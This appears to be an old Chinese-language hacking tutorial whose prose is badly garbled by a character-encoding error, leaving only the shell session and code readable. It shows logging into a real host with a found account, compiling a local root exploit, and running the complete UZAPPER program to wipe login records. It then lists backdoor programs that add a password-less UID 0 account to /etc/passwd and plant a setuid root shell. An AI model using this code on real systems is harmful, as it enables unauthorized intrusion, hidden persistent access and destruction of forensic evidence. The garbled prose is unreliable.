嫻佸厜鎵弿...涓浼氬効寰楀埌浜嗕竴涓猣tp甯愬彿錛坵ebmaster錛寃ebmaster錛夛紝鍏坱elnet涓婂幓錛?
telnet *.174.62.135
Red Hat Linux release 6.2 (Cartman) ----->>linux 6.2,瀹規槗鎼炲畾錛?
Kernel 2.2.12-20kr2smp on an i686
login: webmaster
Password:
Last login: Wed Apr 24 02:21:58 from *.*.*.*
You have mail. ----->>榪欏浼欐湁鏂伴偖浠訛紝涓嶈繃鎴戞病鍏磋叮錛?
[webmaster@ns webmaster]$ ----->>姘斾漢鐨勬櫘閫氱敤鎴?
[webmaster@ns webmaster]$cat >ts.c
... ----->>瑕佸浼氬埄鐢ㄧ綉緇滆祫婧愶紝鑷繁鎵撅紝褰撴槸緇冧範錛?
[webmaster@ns webmaster]$gcc -o ts ts.c ----->>榪樻槸鐢╣cc緙栬瘧銆?
In file included from /usr/include/asm/user.h:5,
from /usr/include/linux/user.h:1,
from ts.c:30:
/usr/include/linux/ptrace.h:22: warning: `PTRACE_SYSCALL' redefined
/usr/include/sys/ptrace.h:103: warning: this is the location of the previous def
inition
[webmaster@ns webmaster]$ ls
Desktop/ Mail/ ts* ts.c
[webmaster@ns webmaster]$ ./ts
attached
bash# su root
[root@ns webmaster]# ----->>鎼炲畾錛岀湅瑙?鎴戝氨楂樺叴錛?
[root@ns webmaster]# cat >wipe.c ----->>鎵剼鍗扮殑錛岃繖涓繕鏄粰澶у鍚э紝鍚﹀垯鏈変漢瑕佹墎鎴戜簡錛?
/*=============================================================================
UZAPPER Ver1.00 for Solaris, SunOS, IRIX, Linux, FreeBSD
The Shadow Penguin Security ( http://shadowpenguin.backsection.net )
Written by UNYUN ( unewn4th@usa.net )
=============================================================================
*/
#include
#include
#include
#include
#ifdef UTMAXTYPE
#define UTMPX
#include
#endif
#include
#ifndef _PATH_LASTLOG
#include
#endif
#include
#include
#include
#define SVR4_UTMP "/var/adm/utmp"
#define SVR4_WTMP "/var/adm/wtmp"
#define SVR4_LASTLOG "/var/adm/lastlog"
#define SUNOS4_UTMP "/etc/utmp"
#define SUNOS4_WTMP "/usr/adm/wtmp"
#define SUNOS4_LASTLOG "/usr/adm/lastlog"
#define BSD_UTMP "/var/run/utmp"
#define BSD_WTMP "/var/log/wtmp"
#define BSD_LASTLOG "/var/log/lastlog"
#define MAX_FPATH 512
int wipe_log(path,user,type)
char *path,*user;
int type;
{
struct utmp utmp_ent;
#ifdef UTMPX
struct utmpx utmpx_ent;
#endif
void *ent;
char *un;
int sz,fd,c=0;
if (strlen(path)==0) return(1);
if (type==0){
ent=(void *)&utmp_ent;
#ifdef UTMPX
un=(char *)&utmp_ent.ut_user;
#else
un=(char *)&utmp_ent.ut_name;
#endif
sz=sizeof(struct utmp);
}else{
#ifdef UTMPX
ent=(void *)&utmpx_ent;
un=(char *)&utmpx_ent.ut_user;
sz=sizeof(struct utmpx);
#endif
}
if ((fd=open(path,O_RDWR))<=0) return(-1);
while(read(fd,ent,sz)>0)
if (!strncmp(un,user,strlen(user))){
memset(ent,0,sz);
lseek(fd,-sz,SEEK_CUR);
write(fd,ent,sz);
c++;
}
close(fd);
printf("Wiped %d entries of %s from %s.\n",c,user,path);
return(0);
}
int wipe_lastlog(path,user,type)
char *path,*user;
int type;
{
struct passwd *p;
struct lastlog ent;
int fd;
char buffer[MAX_FPATH];
if (type==0) strcpy(buffer,path);
else sprintf(buffer,"%s/%s",path,user);
memset(&ent,0,sizeof(struct lastlog));
if ((p=getpwnam(user))==NULL) return(-1);
if ((fd=open(buffer,O_RDWR))<=0) return(-2);
if (type==0)
lseek(fd,p->CNSU_uid*sizeof(struct lastlog),SEEK_SET);
write(fd,&ent,sizeof(struct lastlog));
close(fd);
printf("Wiped %s from %s.\n",user,path);
return(0);
}
main(argc,argv)
int argc;
char *argv[];
{
char f_utmp[MAX_FPATH],f_utmpx[MAX_FPATH];
char f_wtmp[MAX_FPATH],f_wtmpx[MAX_FPATH];
char f_lastlog[MAX_FPATH];
struct utsname utname;
int lastlog_type;
if (argc!=2){
printf("Usage: %s Usernane\n",argv[0]);
exit(1);
}
if (getpwnam(argv[1])==NULL){
printf("Unknown user : %s\n",argv[1]);
exit(1);
}
uname(&utname);
strcpy(f_wtmpx,""); strcpy(f_utmpx,"");
if (!strcmp(utname.sysname,"SunOS")){
#ifdef UTMPX
strcpy(f_utmp, SVR4_UTMP);
strcpy(f_wtmp, SVR4_WTMP);
strcpy(f_utmpx, UTMPX_FILE);
strcpy(f_wtmpx, WTMPX_FILE);
strcpy(f_lastlog, SVR4_LASTLOG);
lastlog_type=0;
#else
strcpy(f_utmp, SUNOS4_UTMP);
strcpy(f_wtmp, SUNOS4_WTMP);
strcpy(f_lastlog, SUNOS4_LASTLOG);
lastlog_type=0;
#endif
}else if (!strcmp(utname.sysname,"Linux")
|| !strcmp(utname.sysname,"FreeBSD")){
strcpy(f_utmp, BSD_UTMP);
strcpy(f_wtmp, BSD_WTMP);
strcpy(f_lastlog, BSD_LASTLOG);
}else if (!strcmp(utname.sysname,"IRIX")){
#ifdef UTMPX
strcpy(f_utmp, SVR4_UTMP);
strcpy(f_wtmp, SVR4_WTMP);
strcpy(f_utmpx, UTMPX_FILE);
strcpy(f_wtmpx, WTMPX_FILE);
strcpy(f_lastlog, SVR4_LASTLOG);
lastlog_type=1;
#else
printf("Can not wipe. System Unknown.\n");
#endif
}else
printf("Can not wipe. System Unknown.\n");
wipe_log(f_utmp, argv[1],0);
wipe_log(f_utmpx,argv[1],1);
wipe_log(f_wtmp, argv[1],0);
wipe_log(f_wtmpx,argv[1],1);
wipe_lastlog(f_lastlog,argv[1],lastlog_type);
}
^d
[root@ns webmaster]# gcc -o wipe wipe.c
[root@ns webmaster]# ./wipe webmaster ----->>./wipe username灝卞彲浠ユ壂鎺夎剼鍗頒簡錛?
錛?錛夋壂鎻忓急鍙ｄ護鎴栨毚鍔涚牬瑙ｅ彛浠?
A錛氬急鍙ｄ護浣跨敤浜庡ぇ鑼冨洿鎼滄崟錛屽嵆鍒╃敤灝戦噺甯歌澶氱敤瀵嗙爜鍘繪帹嫻嬪ぇ閲忎富鏈虹殑telnet錛宖tp鎴杙op3
B錛氭毚鍔涚牬瑙ｉ傜敤浜庨拡瀵規煇涓涓繪満錛屾瘮濡傝鍒╃敤finger鑾峰緱浜嗙敤鎴峰垪琛紝鍗沖彲閲囩敤瀛楀吀鏀誨嚮錛佹垨鑰呰鍒╃敤鍏朵粬婕忔礊錛堝phf婕忔礊錛夎幏寰椾簡passwd錛宻hadow鏂囦歡錛屽彲浠ユ嬁john鎴栬呬貢鍒瑙ｇ牬錛岃兘鍚﹁В鐮達紵鐪嬭繍姘旓紒
錛?錛夊埄鐢ㄧ壒媧涗紛鏈ㄩ┈紿冨彇鍙ｄ護錛堟垜娌℃湁榪欎箞鍋氳繃錛屼絾榪欎笉澶變負涓縐嶆柟娉曪級
錛?錛夌綉緇滅洃鍚拰鏁版嵁鎴彇錛堝ぇ瀹跺拰鎴戜竴璧峰姫鍔涘惂錛屽姫鍔涘浼氬埄鐢ㄨ繖縐嶆柟娉?P)
(5)榪欓噷緇欏ぇ瀹跺嚑涓畝鍗曠殑鍚庨棬紼嬪簭錛屽鏉傜殑鑷繁鍘葷湅錛?
a1:鍙ｄ護鏂囦歡 passwd 涓鍔犱竴涓?UID 涓?0 鐨勫笎鍙?
#include銆
main()
{
FILE銆*fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
}
a2:鍦?/tmp 鐩綍涓嬫斁緗?suid shell
#include
main()
{
system("cp /bin/sh /tmp/fid");
system("chown root.root /tmp/fid");
system("chmod 4755 /tmp/fid");
}
a3:綆＄悊鍛樺伓鐒跺湴杈撳叆cd..鏃跺悜/etc/passwd鏂囦歡娣誨姞涓涓猆ID銆0銆甯愬彿
#include銆
#include銆
main()
{
FILE銆*fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
system("cd");
}
錛?錛夋敾鍑伙紙鐗瑰埆鏄孩鍑猴級鐨勬柟寮忓緢澶氾紝浣嗘柟娉曞ぇ澶氬ぇ鍚屽皬寮傦紝鏁呬笉鍐嶈禈鍙欙紒
鍥涳細琛ュ厖璇存槑
1錛氬鐢╯upperscan鍙戠幇鏌恑p孌靛瓨鍦ㄥぇ閲弖nix涓繪満錛岄┈涓婅漿鐢ㄥ急鍙ｄ護鐮磋В錛涙垨鍙戠幇鏌愯繛緇璱p孌靛叏鏄悓涓涓猽nix鐗堟湰鎿嶄綔緋葷粺錛屽垯姝p孌靛緢鏈夊彲鑳芥槸鏌愬ぇ鍏徃錛屼紒涓氾紝楂樻牎鎴栧叾浠栵紝涓鑸槻鎶ょ敋涓ワ紝涓嶅瓨鍦ㄦ孩鍑烘紡媧烇紝鏃犻渶閫愪竴灝濊瘯婧㈠嚭錛岄殢渚塊変袱涓変釜璇曡瘯鐪嬭涓嶈錛?
2錛氬埌淇℃伅浜т笟鍙戣揪鐨勫浗瀹跺幓鎵撅紝姣斿璇寸編鍥斤紝鏃ユ湰...涓嶈鎵懼浗鍐呯殑錛屽張灝戝張鍗遍櫓錛?
3錛氳嫢鍙戠幇telnet涓嶄笂涓婃鎴愬姛婧㈠嚭鐨勮倝楦★紝璇存槑姝よ倝楦＄殑ip鏄姩鎬佺殑錛屼絾ip鏀瑰彉涓嶄細澶ぇ錛屽湪涓磋繎ip鍐嶆悳涓閬嶅嵆鍙紒
浜旓細寮鴻皟璇存槑
涓嶈綆鍗曞湴璁や負浣犲凡緇忚交鏄撳湴妾共鍑浜嗕綘鐨勫叆渚電棔榪癸紝寰堝鏈夌粡楠岀殑綆＄悊鍛橀兘鎶婃棩蹇楁枃浠惰漿鍒頒簡鍏朵粬涓繪満涓婃垨浣滅浉鍏沖畨鍏ㄥ鐞嗭紝涓鏃︾鐞嗗憳鍙戠幇浜嗗叆渚碉紝浠栦細浠庡涓嬫柟闈㈡潵鍒嗘瀽鏀誨嚮鑰呯殑鍏ヤ鏡鏂瑰紡錛屼綘搴旇浠ユ鍋氬嚭鐩稿簲鐨勫簲瀵規帾鏂斤細
1錛氭煡鎵劇郴緇熸枃浠跺拰緋葷粺鍩規鏂囦歡鐨勫彉鍖栵紱
2錛氭煡鎵炬暟鎹枃浠剁殑鍙樺寲錛?
3錛氭煡鎵懼叆渚電暀涓嬬殑鏁版嵁鏂囦歡鍜岀浉鍏沖伐鍏鳳紱
4錛氭鏌ユ棩蹇楁枃浠?
5錛氭煡鎵懼嚭緗戠粶鐩戝惉鐨勮抗璞?
6錛氭鏌ュ眬鍩熺綉涓婄殑鍏朵粬璁＄畻鏈恒?
鍏細鏈枃涓瓨鍦ㄧ殑緙虹偣閿欒榪樻湜瀹瑰繊騫跺鍔犳壒璇勪笌鎸囨錛佹湰鏂囨榪庤漿杞斤紝浣嗚鍔″繀淇濇寔鍏ㄦ枃瀹屾暣錛?
涓冿細璀﹀憡錛岃娓呴啋鍦頒及閲忎綘鐨勮涓哄彲鑳藉甫鏉ョ殑鍚庢灉錛?
]]>